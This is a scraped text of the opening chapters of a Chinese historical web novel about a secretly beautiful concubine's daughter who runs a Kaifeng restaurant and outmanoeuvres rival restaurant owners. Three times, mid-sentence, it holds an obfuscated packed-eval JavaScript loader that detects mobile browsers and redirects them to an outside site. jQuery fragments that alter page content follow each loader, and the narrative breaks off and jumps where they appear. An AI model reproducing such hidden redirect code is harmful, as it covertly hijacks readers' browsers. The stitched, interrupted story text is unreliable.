《庶女她是隐藏大佬》 1. 开张就有来闹事的 时值元宵佳节,东京城内灯火如昼,人声鼎沸,宝马雕车,凤箫声动,满城繁华气象,竟比往年更胜三分。 位于皇城外杨楼街的一处酒楼前,此时正鞭炮齐鸣,烟火硕然绽放,璀璨夺目。门前鱼龙灯翻飞起舞,竟将大半个街的人都引了过去,围得铁桶一般。 “丰乐楼新张大喜!内有歌舞管弦,彻夜不休。” “菜肴酒水皆半价!首二十位贵客,一月之内,菜金再减三成!” 伙计清亮的吆喝声未落,人群已骚动起来,争相往门里涌。 “听闻掌勺的是潘楼请来的大师傅!往日嫌潘楼价高不敢问津,今日总算能尝个鲜了。” “他们家的舞女也是一绝,前日排练时我偷瞧过,虽不及潘楼和永华楼的娘子貌美,却胜在别有风致,舞步婀娜,眉眼间尽是风流韵态……” 又一簇烟火凌空炸响,将众人的议论尽数淹没在绚烂之中。 楼内雕梁绣柱,彩帛低垂。栀子灯蒙着金红薄纱,与燃得正旺的烛火交相辉映,满堂流光溢彩。 虽规模不及东京那几座名楼,却胜在处处精雅,一应陈设无不透出主人的巧思。 丝竹声自中央舞台袅袅升起,但见舞姬轻舒广袖,曼声吟唱: “从明后而嬉游兮,登层台以娱情。 见太府之广开兮,观圣德之所营……” 歌声悠远,舞姿翩跹,恍然间如见仙阙凌云,飞阁接天。 正沉醉时,靠近大堂中央的席间却传来一阵急促的争吵声。 一个膀大腰圆的中年汉子拍案而起,对着店小二怒目而视:“你们这菜是怎么回事?我兄弟才动了几筷子,就跑了三四趟茅房!莫非是菜里不干净?” 店小二急得连连摆手:“客官明鉴!我们的食材都是仔细清洗过的,断不会出差错。” 汉子怒目问:“那你倒是解释解释,我兄弟是怎么一回事!” 店小二辩解道:“许是这位官人本就身子不适,恰巧在店里发作罢了。若真是菜有问题,怎的只有他一人不适,您却安然无恙?” “放你娘的屁!”那汉子啐了一口,声如洪钟,“我兄弟壮实得能打死一头牛!偏吃了你们这糖醋熘鱼就出事?分明是你们推诿责任!” 他一把揪住小二衣襟,“老子没事是因为没碰那道鱼!” 店小二被勒得满面通红,正要争辩,邻座一位锦衣华服的胖老爷踱步过来打圆场:“这有何可吵?请个大夫来一号脉、一验菜,不就水落石出了?” 汉子闻言松了手,冷笑着睨向小二:“你可敢请大夫?” 小二梗着脖子道:“我们店里的吃食绝对没问题!如何不敢验!” “好!”汉子声震屋瓦,“若大夫说是你们菜的毛病,老子立刻告到开封府,不封了你这黑店誓不罢休!若是冤枉了你们——” 他重重一拍桌案,“我陈柏当场给你磕头赔罪!” 此言一出,满堂哗然。 宾客们纷纷搁下筷子观望过来,连台上的歌舞也不知何时停了。 见势不妙,伙计庆喜连忙推了把杂役茜雪:“快去请掌柜的!我先去打圆场。” 茜雪应声便急急朝楼上跑去。 待茜雪提着裙角匆匆上楼,庆喜整了整衣襟,躬身趋步至陈柏面前,先往那小二脑后轻拍一记:“蠢材!岂敢对贵客无礼?待会儿定让掌柜撵你出去!” 转身又对陈柏深深施了一揖,赔笑道:“官人息怒。今日元宵佳节,原该讨个吉利。若是惊动官府、延请大夫,难免冲撞喜气。不若由小人做主,今日诸位酒水菜金全数免单,再让灶上备几道拿手好菜与官人赔礼,您看可好?” 眼见陈柏理直气壮的模样,庆喜心中已了然——那道糖醋熘鱼怕是真有问题。可他深知掌柜的对后厨管束极严,今日开张更是千叮万嘱,绝无可能出这般纰漏。 倒是这借饮食讹诈的勾当,在东京城的酒楼间屡见不鲜。这般纠缠最是难断清白,为免事态扩大,店家往往只得破财消灾。 庆喜暗自盘算已定,便说出那番息事宁人的话。 陈柏闻言,面上怒色果然稍稍缓和,谁知刚欲开口,便被一道声音打断。 “呦!莫不是心虚了?”方才提议请大夫的华衣男子突然拔高嗓音,阴阳怪气道,“开张头一日就吃坏了人,往后谁还敢登门?为着公道,正该请大夫来辨个分明!” 这一挑拨,四下立时骚动起来。原本作壁上观的食客纷纷附和: “不心虚怕什么大夫?” “说得是!不清大夫来验看,这饭菜叫人如何下咽?” “正是!我们的酒钱可不能白花!” 人群中声浪渐起,方才稍缓的局势,瞬间又被这华衣男子挑唆得紧绷起来。 庆喜逐渐面露难色,心想今日之事恐怕无法善了。 “白掌柜当真是菩萨心肠,自家酒楼的生意都顾不过来,倒有闲心在丰乐楼主持公道。”一道清悦嗓音自楼梯处飘来,如珠玉落盘。众人循声望去,但见绯红裙裾拂过雕木台阶,一道倩影迤逦而下。 那女子云鬓斜绾,几支红梅金簪点缀青丝间,映得凝脂般的肌肤愈发剔透。虽以轻纱覆面,唯见眉间一点朱砂痣灼灼如焰,通身的气度却已艳惊四座。 白掌柜虽与她打过几次照面,此刻仍不免怔神,随即拱手笑道:“岳掌柜总算肯现身了。” “我再不来,只怕白掌柜要逼得我这伙计跳井了。”岳掌柜施施然还礼,眼波流转间瞥向暗处——灯影朦胧的角落里,正坐着个慢条斯理品茶的中年男子。 她翩然移至白掌柜身侧,笑靥如花地扬声道:“给诸位贵客引见一下,这位便是永华楼的东家白掌柜。”话音未落,又朝暗处抿嘴轻笑,“那位更是了不得,正是潘楼的话事人潘掌柜。” “哎呀呀!小女子何德何能,竟劳动二位掌柜抛下自家山珍海味,亲临小店指点。”她袖中纨扇轻摇,语带戏谑,“看来得给我们灶上的师傅多加些工钱才是。” 潘掌柜闻言撂下茶盏,索性也不装了,慢悠悠地踱步上前,皮笑肉不笑地说:“岳掌柜还是先解了眼前困局罢。” 说完又趁势凑近半步,压低声音道:“这等行当里无解的难题,潘某倒要看看,岳掌柜能翻出什么新花样。” 岳掌柜闻言并不着恼,只将团扇一收,眸光清凌凌地投向陈柏:“那位客官当真难受得紧?” 陈柏被她看得心底发虚,声气不由弱了三分:“自、自然是真的!我兄弟跑了数趟茅房,腹痛如绞。今日若不赔钱,便请大夫来验,咱们开封府门前见分晓!” “有分别么?”岳掌柜指尖轻抚扇骨上垂落的流苏,语气淡得像一缕烟,“赔钱便是认了这桩罪过;看你们今日这一出,只怕请大夫来验——也是我的菜里有问题吧。” 陈柏还未说话,白掌柜却瞬间抓住了重点:“岳掌柜这话的意思,是承认你家菜食不干净?” “我承认。”岳掌柜答得干脆利落。 满堂顿时哗然。 “竟真是菜有问题?” “这就认了?” “我还当要扯皮半日呢!” “掌柜的!”茜雪急得去扯她衣袖,这开业首日便认下吃食有问题,往后生意还如何做得? 岳掌柜却浑不在意周遭骚动,转眸望向白掌柜:“依您高见,若酒楼吃食当真损了客人身子,该当如何?” 白掌柜虽觉她态度蹊跷,仍顺口接道:“自当赔银息事,闭门整顿。否则纵容此等行径,岂非祸害乡邻?” 此言引得众人连声附和: “这般谁敢再来用饭?” “今日所有席面都该退钱!” “对!退钱!” 茜雪与庆喜听得冷汗涔涔,却见岳掌柜不慌不忙踱至潘掌柜面前:“您可听清了?白掌柜说,需得赔钱谢罪,还要潘楼歇业整顿呢。” 潘掌柜愕然:“岳掌柜此话何意?” 岳掌柜不慌不忙从袖中取出一叠票据,声如碎玉:“实不相瞒,今日丰乐楼所有菜食,皆是遣人按宾客所点菜单,一一从潘楼采买而来。”她将其中几张递给庆喜,“这些便是潘楼亲笔所书的收据,诸位尽可验看 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岳掌柜却恍若未觉,只缓步贴近,用仅二人可闻的声量,把适才潘掌柜的话原样送给了他:“这等行当里无解的难题,岳某倒要看看,潘掌柜能翻出什么新花样。” 她纨扇轻掩朱唇,“是破财消灾呢,还是去衙门讨个公道?我猜您选前者——可若那人偏不要银钱,非要闹得潘楼鸡犬不宁……” 她拖长了语调,“今夜这生意,您怕是做不成了。” 潘掌柜牙关紧咬:“你想怎样?” 岳掌柜取过那叠收据,示意茜雪捧来算盘,纤指拨弄珠玉轻响:“简单。您把我从潘楼采买的菜钱,连带今日给宾客的让利一并结了,贵店那位闹事的客人自会消停。” “你看我像大相国寺的佛吗?”潘掌柜冷笑着问。 “既如此便罢。”岳掌柜作势转身,“我这小门小户的营生,这些钱加起来,也抵不上潘楼两个时辰的收入,您且回去吧,看看你那客人会闹到几时?” 她忽又驻足,回眸浅笑,“对了,人言可畏啊。以潘楼的地位,不出半日这消息就能传遍东京城。银钱损失尚可弥补,若是信誉扫地——” 她轻摇团扇,“这代价,怕是千金难赎。” 眼见那绯红身影将要没入楼梯阴影,潘掌柜面红耳赤地喝道:“留步!” 岳掌柜笑吟吟折返,在对方要吃人一般的目光中接过交子:“谢潘掌柜慷慨。” 然后对潘白二人盈盈一拜:“往后各位若堂堂正正做生意,丰乐楼随时敞开大门。但若有人再使阴招——” 岳掌柜的眼波倏然转冷,“不论是谁,这笔账我都会记在潘楼头上。谁让您是酒行行首呢?” “倘若有朝一日丰乐楼撑不下去,我便将这地界贱卖给永华楼,而后日日带着伙计们去潘楼坐坐。届时破罐破摔,把今日从二位身上领教的招数一一奉还。” 她睨着白掌柜骤然亮起的双眼,唇角微勾,“这么多人手轮番伺候,潘楼防得住么?” 白掌柜一听如若丰乐楼倒闭,便会被低价卖给他,当下便面露喜色。作为东京府第二大酒楼,他一直居于潘楼之下,有很大一个原因是规模不如后者。原本丰乐楼这个地盘他早就看上了,但是无奈背后的东家死活不卖,那人背后又有官府撑腰,这才被岳掌柜抢了先。 但他这番心思岂能瞒过潘掌柜?后者面上阴云密布,心底却暗叹这女子手段了得。轻飘飘一句话,便点醒他真正的对手并非初出茅庐的丰乐楼,而是虎视眈眈的永华楼。 更绝的是,无论谁对丰乐楼出手,最后倒霉的总是潘楼。他虽然是行业的行首,但说到底是商人,在东京远远不到横着走的资格,若她倒闭后,真的三天两头找人像今日一般去潘楼闹,那…… 也罢!何必为个不足为惧的丫头,惹来无穷后患?倒不如坐山观虎斗,任她与永华楼周旋。 “回去后须得敲打那些不安分的。”潘掌柜暗忖,目光掠过那抹绯红身影时,竟生出几分欣赏——三言两语便把他绑到同一条船上,今后反倒要替她遮风挡雨了。 2. 沈家那位 丰乐楼里笙歌不断,方才那场闹腾才歇下,客人们又吃起酒来,倒像是甚么都没发生过似的。 二楼雕花栏杆旁,几个锦衣华服的公子哥儿正倚着说闲话。 穿月白锦袍的郑元达轻拍栏杆,笑道:“这女掌柜倒是个妙人儿!做事爽利,说话又俏皮,胭脂堆里难得见这般人物。” 旁边穿紫袍的徐渭打趣他:“和你上个月相看的杜家六姑娘相比如何?” 郑元达脸色顿时垮下来:“快别提了。那六姑娘面黄肌瘦的,脸上还斑斑点点的,若不是眉眼尚有几分模样,简直没法看。如今只可勉强算个平平罢了。” “元达兄太谦了,”徐渭左侧的蓝衣公子摇着扇子笑,“杜家两位小姐我都见过,虽不是六姑娘,却都是标致人儿。想来姐妹之间,总不会差得太远。” 徐渭也帮腔:“正是!你是承宣伯爵府的嫡公子,那杜荣晦不过五品官,六姑娘还是个庶女。若真长得见不得人,杜家哪来的脸面高攀?” 郑元达苦笑着摇头:“说出来你们怕是不信,这门亲事竟是我母亲主动提起的。虽没明着定下来,可已暗示了好几回,也不知那杜六姑娘给我母亲灌了什么迷魂汤,让她连门第嫡庶都不顾了。” “罢了罢了,不说这糟心事了。”郑元达烦躁地摆手,目光又落回那道绯红身影上,“都是女子,怎么差得这样远。那位六姑娘木木讷讷的,连句话都不敢多说。” 他叹着气正要转身,余光瞥见廊柱旁一道挺拔背影,不由得愣在原地。 “元达?”徐渭拍他肩膀,“发什么呆?” 郑元达迟疑地望着那道身影消失的转角,喃喃道:“方才那背影……像是沈家那位。” 蓝衣公子忙顺着看去:“你是说宁王沈彻的嫡长子沈昭行?” “似像非像。”郑元达收回目光,无意识地摩挲着腰间玉佩,“看不真切。” 徐渭“唰”地展开扇子,嗤笑:“绝无可能。他随黄老将军刚收复北墉,又单枪匹马击退西夏三员大将,三日前才凯旋。家父说,今夜官家特在宫中设宴庆功,怎会出现在这市井酒肆里?” “说得是。”郑元达点头,往雅间走去,“他本就是云端上的人,如今更是战功赫赫,圣眷正浓。只是可惜——” 他顿了顿,“我朝向来重文轻武,以他的家世和才学,以文入仕绰绰有余,又何苦要去从军?” “这等朝堂大事,不是咱们能议论的。”蓝衣公子唤来几个歌姬,执壶斟酒,“今日元宵佳节,咱们这些勋戚子弟平日拘束惯了,正该趁此良宵痛饮到天明,不醉不归!” “极是!极是!”郑元达与徐渭连声附和,当即推杯换盏,丝竹声声里,早把方才的事抛到脑后。 却说楼下大堂里,岳掌柜见风波已平,便扬声道:“因潘楼的菜食出了岔子,往后所有菜肴皆由丰乐楼亲自烹制。为表歉意,菜价再减两成。” 这话一出,满堂喝彩,竟比先前还要热闹几分。 台中央的舞姬正随着飘落的花瓣翩翩起舞,轻纱曼妙,在烛光映照下恍若仙子下凡。 岳掌柜带着贴身侍女小玉将贵客一一安顿好,便倚在二楼朱漆栏杆旁,唤来个叫柱子的小厮:“去潘楼传话,风波已平,可以撤了。” “是。”柱子领命匆匆去了。 小玉这才恍然大悟,掩着嘴低呼:“掌柜的,潘楼那个吐血的客人……是咱们的人?” “这会子才想明白?”岳掌柜无奈地笑,“可还看出什么了?” 小玉皱着眉想了半晌,茫然摇头。 岳掌柜:“你就没瞧出,那个报信的小厮,也是咱们的人么?” “啊?”小玉拍了下脑袋,“我就说嘛!家丑还不可外扬呢,他怎的那么大声喊出来,生怕别人不知道他家酒楼出了问题似的。那潘掌柜竟也没发现?” 岳掌柜眼波流转,闲闲拨弄腕间玉镯,“我特意让他站在潘掌柜身后,躬着身子垂着头。况且那时他刚中了计,正心浮气躁,哪里顾得上这个。” “这叫以其人之道还治其人之身对不对!”小玉眼睛一亮,求知欲上来了:“可掌柜的,潘楼和咱们可不一样,听说他们给官府打点的银子可多了,为何不报官呢?” 岳掌柜唇角微扬,“他刚指使白掌柜在咱们这儿演了这么一出,自然晓得这类事情最是纠缠不清。既然对方敢当众吐血,必定在菜食里做了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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岳掌柜含笑点头:“每个舞女性情相貌不同,该用的仪态神色自然也不同。这些原都是我母亲教我的。如今我也教了她们一些,虽而学了没几日,才堪堪算入门的程度,但对咱们这样规模的酒楼,也已经够用了。” 3. 杜家庶女 亥时的梆子刚刚敲过,抚名巷杜府的披香院外便响起了一阵轻微的敲门声。 大丫鬟乐清疾步上前开门,见着来人终于松了口气:“姑娘可算回来了!再晚些,奴婢们都要差人去寻了。” 门外人裹着一袭厚斗篷,青缎面上落着细碎的雪花,随着她迈入门内,带来一缕清冽的梅香。盈玥解下兜帽,露出一张带着些许斑点、皮肤有些蜡黄的小脸,声音里带着些许疲惫:“今日开张,琐事繁多,劳你们挂心了。” 几个大丫鬟连忙上前为她解下斗篷,乐清一面递过暖炉一面絮叨:“姑娘往后可要更谨慎些。如今酒楼既已开业,抛头露面的机会只多不少。若教人知道官家小姐私下经商,主君那儿怕是不好交代。” 丹红捧着封信笺近前:“姑娘,这是二公子今早亲自送来的,嘱咐定要交到您手上。” 杜盈玥拆开信,见笺上墨迹淋漓写着“财源若海,顾客盈门,隆声远布,兴业长新”,底下竟还夹着几张簇新的交子。 “二公子待姑娘真是没得说。”乐清笑着打趣。 盈玥走到书案前将交子收进抽屉,眉眼柔和:“大姐姐与二哥哥对我向来是不错的。此番我能盘下这酒楼,多亏二哥哥周旋打点。” 丹红端来姜汤,盈玥接过后倚在妆台前,就着热气小口啜饮:“替我卸妆吧,我实在乏得睁不开眼了。” 乐清轻手为她拆卸鬓边珠钗,忍不住劝:“小娘去时留下的体己虽不多,却也够姑娘日常的支应。何苦非要行这商贾之事?万一经营不善,岂不折了本钱?若传扬出去,莫说主君动怒,便是将来的姻缘也要受牵连的。” 妆粉渐褪,脂色消融,那些刻意点染的斑痕随之消散,露出底下白玉般的肌肤。 待坐到铜镜前时,镜中映出的脸,竟与丰乐楼的岳掌柜一般无二——雪肤乌发,柳眉凤眸,悬胆鼻下一点含珠唇。这般清艳绝俗的容貌,恰似她早逝的生母。 “士农工商,若非不得已,谁愿甘居末流?”盈玥轻抚耳坠,幼时因这副容貌招来的祸事历历在目。大娘子嫌恶的目光,周小娘“狐媚子”的叱骂,还有那日院前的香油与尖石……若非乐清眼疾手快,这双眼怕是早已…… 自那以后,她便日日以黄粉敷面,点上斑痕,在这深宅中谨慎地藏起锋芒,换取片刻安宁。 “女子立世,本就如履薄冰。”她摘下最后一支耳珰,望着镜中真实的自己,“我小娘去得早,父亲又子女众多,对我不闻不问,我这些年步步为营,又有你们帮衬,才勉强活到今日。这眼看就要到谈婚论嫁的年纪,我实在不愿从一个深宅,踏入另一个深宅,继续仰人鼻息、苦心经营。这往后半生,我想凭自己的心意,畅畅快快地活一场。既然存了这样的念头,银钱上自然要有底气。” 乐清仍有些不解:“可小娘去时,不是给姑娘留了体己钱么?” “这底气,从来不是银钱的多少,”杜盈玥浅笑,眼中却有着超越年龄的通透,“而是源源不断的生财之道。否则纵有金山银山,也终有坐吃山空的一日。” “姑娘说得在理。”乐清点了点头,然后又轻叹,“只是日后少不得要常往丰乐楼去。若教别人发觉您日日不在府中,只怕又要平生事端。姑娘还需万分小心才是。” 杜盈玥眼底泛起暖意,她抬手轻抚乐清肩头,“难为你处处为我着想。” 翌日清晨,杜府承瑞堂前的庭院尚有一夜积雪未清理干净,盈玥已带着乐清静候在廊下。不多时,四姑娘润玥与五姑娘如玥一前一后踏入月洞门。 “六妹妹来得可真早。”润玥嗓音里浸着蜜糖似的讽意,“莫不是听说父亲催着议亲,赶着来给母亲献殷勤?” 盈玥对这等言论早就司空见惯,并未理会,只是侧身浅浅一福:“四姐姐五姐姐安好。” 一旁的如玥当即嗤笑出声:“四姐姐倒是会倒打一耙!六妹妹向来是第一个来请安的,岂是这两日才如此?倒是你,整日缠着周小娘要攀高枝,自己存着这般心思,便看谁都似你这般!” 她纤指捻着帕子轻甩,“有这工夫,不如好生学学六妹妹的安分守己,省得沾染满身小家子气。” “你!”润玥气得双颊绯红,指尖发颤地指着如玥,“你今日不也迟了?有何脸面说我!” 如玥扬眉轻笑:“我迟了便迟了,可不会反怪早到的人不懂事。况且——” 她慢条斯理地抚过鬓边珠花,“我是嫡女,来给亲生母亲请安,早晚有何要紧?你与六妹妹同为庶女,偏你总摆出嫡女的款儿,莫非以为周小娘得宠,就能改了你的出身?” 这话似钢针扎进心口,润玥眼圈霎时红了,手中绢帕拧得发皱,眼泪在睫上颤颤欲坠。 “又来又来,你就没点新鲜招数。”如玥撇嘴轻嗤,“整日哭哭啼啼,演给谁看?” 这话如火上浇油,润玥强忍的泪水顿时决堤。她身后两个丫鬟慌忙上前安抚,低声劝解声与压抑的抽泣交织在一处。 盈玥望着这三天两头便上演的闹剧,额角隐隐作痛。但终究是因自己起的争执,只得上前柔声劝道:“四姐姐,父亲尚未下朝,此刻承瑞堂里只有大娘子。若教她瞧见您的眼泪......怕是不会如父亲那般心疼的。” 大娘子张初云出身杭州盐商世家,是当地数一数二的富户。当年杜荣晦虽家境清寒,却年少中举,张老太爷观他品貌端方、行事沉稳,认定此人必非池中之物。加之张家虽然富庶,但到底是商贾之流,终是上不得台面。若能将独女许配给读书人,于家族声望大有裨益,故而杜荣晦登门求亲时,张老太爷当即应允。 这张初云自小被视若掌上明珠,养就一副高傲心性。又自诩是陪着夫君从寒微书生一路走来的原配,言行间不免带着几分跋扈。她最瞧不上的,便是那些低眉顺眼、以泪邀宠的做派。偏生周小娘将此道修得炉火纯青,而杜荣晦这般文人最吃这套。 加之张初云自幼学的皆是经商理财,于诗词歌赋上一窍不通。周小娘却精通风月,常与杜荣晦吟诗唱和。久而久之,周小娘、连同她所生的四姑娘润玥与三公子仲恒,也被杜荣晦捧在心尖尖上。 此刻杜荣晦尚未回府,若让大娘子看见润玥这副梨花带雨的模样,只怕要惹来雷霆之怒。润玥听得盈玥提醒,只得恨恨地咬牙拭泪,暗自发誓定要像大姐姐那般嫁入高门,好教府中众人再不敢轻瞧了她去。 恰在此时,大娘子的陪房吴妈妈打帘而出,恭恭敬敬福了一礼:“大娘子已梳妆妥当,请三位姑娘入内问安。” 三人穿过抄手游廊,绕过紫檀插屏,但见张初云端坐正堂首位。姑娘们齐整施礼,清凌凌的请安声在晨光中漾开:“给母亲请安。” “都坐吧。”张氏面上端着熟练得体的微笑,目光在三个姑娘身上掠过,“正好你们都在,承宣伯爵府的黄大娘子二月二那日要办诗会,遍请东京城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878375|191915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的世家子弟与名门贵女,咱们府上也得了帖子。这些日子都好生准备着,若能借此觅得良缘,也是你们各自的造化。” 润玥心中暗喜。杜府家教素严,闺阁女儿鲜少有机会面见外男。即便她与周小娘再得宠,姻缘大事终究握在大娘子手中。此番诗会实属难得,若能引得高门子弟青眼,前程自不必愁。更何况她最擅诗词,这岂不是天赐良机? “是。”她忙随着如玥齐声应下。 “大娘子,我能否不去?” 这话音刚落,众人都满脸惊讶,将目光齐刷刷投向出声的盈玥。 如玥悄悄扯她衣袖,低声道:“你傻了?这样的好机缘,为何不去?” 盈玥起身向张氏恭恭敬敬地施了一礼:“昨日元宵去清虚观上香,顺道求了一卦。那道士说女儿今年时运不济,于姻缘康健皆有妨碍的。” 她垂眸轻声道:“想着是不祥之身,不便在诗会露面。” 坐在左侧的润玥闻言,不着痕迹地往旁边挪了挪。 张氏未察觉这小动作,只蹙眉问道:“怎会如此?可说了化解之法?” “倒也不难。”盈玥浅笑,“只需每日去观中进香,诵一天的《清净妙经》,三月后便无碍了。” “那便好。”张氏舒了口气,“既如此,诗会你还是照常去。那黄大娘子特意....”话到此处忽被吴妈妈一阵急咳打断,她当即改口道:“咱们书香门第,若因这些无稽之谈不让女儿赴会,传出去岂不让人笑掉大牙?” 她望向娇憨的如玥,轻叹:“不过你的顾虑也不无道理。待你父亲下朝,我便禀明情形。这些日子你就每日去清虚观进香。只是要多带些丫鬟婆子,再派两个小厮跟着,可别出了岔子。如此,二月二的诗会,你去参加想是也没什么大的干系了。” “女儿听凭大娘子安排。”盈玥乖巧应下。 请安毕,张氏由吴妈妈扶着转进内厢,懒懒倚在湘妃榻上:“方才险些说漏了嘴,幸亏你提醒,不然我就把黄大娘子指名让盈玥那丫头必须去的事儿说出来了。真不知黄大娘子怎么想的,放着我们如儿这正室嫡女不要,偏看上盈玥那个貌若无盐的庶女,真真是搞不明白,这要传出去,周佩芳那贱人还指不定怎么笑话我呢。” 吴妈妈奉上茶盏,低声道:“大娘子莫急。虽说父母之命媒妁之言,可黄大娘子终究要顾及郑二郎的心思。男子哪个不看容貌?六姑娘这般长相,他必定看不上。老奴倒觉得,让六姑娘去诗会正好,叫郑二郎亲眼见过,也好早些断了黄大娘子的念头。” “这话在理。”张氏颔首,随即又有些不甘心,“若非黄大娘子特意点名要她,我巴不得两个庶女都不去才好。如今倒好,若不让她去,如儿也不好独往,真是憋屈。” 她忽又想起什么,正色道:“你去嘱咐如儿和伯恒,这些日子少往披香院走动,别没得沾染晦气,误了咱们自己的事儿。” 吴妈妈会意一笑:“老奴省得,娘子放心。” 杜府花园里,积雪如絮,将天地染作澄澈的纯白。寒梅幽香浸在凛冽空气中,教人神思清明。盈玥兴致颇佳,亲手折了几枝红梅递与乐清:“寻个雅致花瓶,搁在我榻边。” “是。”乐清接过凌霜盛放的梅枝,含笑问道:“姑娘今日心情甚好。” 盈玥唇边漾开清浅笑意:“怎么不好。四姐姐五姐姐短期内应当不会踏足披香院了,我也好落个清静。” 4. 此人我志在必得 次日上午,盈玥带着乐清、丹红乘了软轿往清虚观去,大娘子指派的那两个小厮紧随其后。玉皇殿内青烟缭绕,待焚香祝祷结束,盈玥便悄悄与丹红在禅房互换了衣裳,独自一人从后门离开,径直往丰乐楼去了。 开张次日,酒楼门前依旧车马不绝。虽说昨日已扫清障碍,可这酒楼一日未上正轨,她便一日放心不下。先前同张氏说的那番“需往清虚观诵经三月”的说辞,正是为此缘故。 眼见丰乐楼宾客盈门,盈玥悬着的心才稍稍落下。她接过小玉呈上的账册略翻了翻——单昨日净利便有二十余两,不由眉眼舒展,唇边含了笑意。 果然,人在赚钱的时候,才是最开心的。 她轻轻合上账本,温声吩咐小玉:“你去请孙叔得空时上来一趟。” “是”小玉应下后轻声提醒,“只是眼下将近午膳时辰,后厨正忙得不可开交,掌柜的怕是要多等些时候。” “无妨。”盈玥摆手,“宾客要紧。我今日都在楼里,让他不必着急。” 未时三刻,孙大厨才得暇前来。他满脸灶火熏出的红晕,额角挂着几滴未干的汗水,一身烟火气息。盈玥柔声问道:“孙叔可用过午饭了?” 孙大海憨厚地搓了搓手:“一听姑娘传唤,忙完灶上的活计就赶来了,还没顾上吃饭。” “正巧我也未用。”盈玥浅笑,“孙叔陪我一同用些可好?” “这如何使得!”孙大海连连摆手,“姑娘金枝玉叶,尚未出阁,与我这粗人同席用饭,他日传出去,有损姑娘声誉。” 盈玥却已走到他身旁,轻轻将他按在椅上:“孙叔说哪里话。您是我娘亲的故交,她刚去的那几年,若不是您常来看顾,我连口热饭怕是都吃不上。” 她执起茶壶为他斟茶,“光且我已入商贾,哪里还在乎声誉这些身外之物。” 听她提起淑娘,孙大海眼神倏然一暗。他摩挲着粗陶茶盏,叹道:“淑娘走了八年了,若她在世,看到姑娘如今有想法有决断,也有谋生的路子和胆识,不似她当年一般,寄人篱下,仰人鼻息,想必也无憾了。” 盈玥听罢,低喃道:“我阿娘一生没过几天舒心日子。她在那样的绝境,尚且能挣扎向前,我是她的女儿,必然不能让她失望。” 盈玥的母亲姓樊,幼时遭遇抄家,沦为贱籍,被卖入了秦楼楚馆,年纪小小又孤身一人,不知遭遇了多少苦,幸好她意志坚定,又勤学六艺,最终成了花魁娘子。 就在日子一天天变好之际,她却遇见了杜荣晦,这个用花言巧语和山盟海誓耽误了她一生的男人。 孙大海望着眼前这张与淑娘有七八分相像的脸,却见她眉宇间流露出比母亲更坚毅的神色,眼中满是欣慰:“姑娘好志气。我孙大海虽只有做饭的本事,但定当尽全力护您周全,不辜负她临终的托付。” “多谢孙叔。”盈玥又给他续了杯茶,端到他身前,“您这般待我,甚至抛下潘楼那样顶尖的地方,来我这刚开张、前路未卜的丰乐楼,我自然也不能亏待了您。往后除了每月的月钱,丰乐楼一成的收入便当作给您额外的酬劳,每月初,和月钱一同发与您。” 孙大海连忙放下茶盏起身,连连推辞:“这使不得...” 他的话还没说完,盈玥便笑着打断:“孙叔帮了我们母女太多,我至今无以为报。区区钱财而已,您若不答应,我心中更加万分不安,可是不敢用您了。您就当为了让我安心,还是收下吧。” 孙大海脸上涌起一抹感动:“姑娘放心,有我一日,便有丰乐楼一日。” 盈玥笑道:“这些都是身外之物,不打紧。从前都是您照顾我,往后,也该换我孝敬您了。” 话音刚落,她便话锋一转,“只是有一件事,还想请您帮忙。” 孙大海忙道:“什么事,您只管吩咐,上刀山下火海,我也一定办到。” 盈玥缓缓说道:“丰乐楼刚开张,昨日已然被盯上了,我们要尽快在东京站稳脚跟才好。只是酒楼的立身之本,说到底无非是吃喝二字。如今我们仗着您的厨艺,才有这般盛况,可同永华楼和潘楼这些屹立多年的酒楼比起来,掌厨的数量实在单薄。像永华楼,他们的掌厨有六位之多。我是行外人,对这方面不太了解,所以想问问孙叔,可知道还有没有厨艺与您比肩的人材,可为我们所用?” 听到这话,孙大海顿时来了精神:“姑娘,您今日不问我,过些时日,待丰乐楼有了名声,我也会向您举荐一个人的。” “东京郊外的长垣村住着一位被我们行内人称为‘食神’的,此人姓董名余,据说是膳祖的后人,祖祖辈辈都以庖厨为生,手艺精湛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878376|191915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对食物的研究堪称登峰造极。御膳房和潘楼的主厨中,一小半都出自他的门下,可味道却不及他的十之三四。” “竟有这等高人?”盈玥叹道,眼中流露出毫不掩饰的渴望,随即又冷静下来,“手艺如此高超,却既未入大内,也没被潘楼招揽,想来是极难请动的。” “姑娘聪明。”孙大海也点头叹道,“他性子极其孤僻,从不在人前显露本事。所有他教过的学生,离开前都会被他叮嘱,不可将他的存在大肆宣扬。他做这一行,一是祖训,二是真心喜爱,名利钱财都不放在心上,更嫌应酬麻烦。故而知道他的人并不多。我晓得他还是因为在潘楼时,有一回和梁大厨吃酒,他喝醉了说与我听的。因是同行,所以我对此人也颇感兴趣,后来特意打听过。” 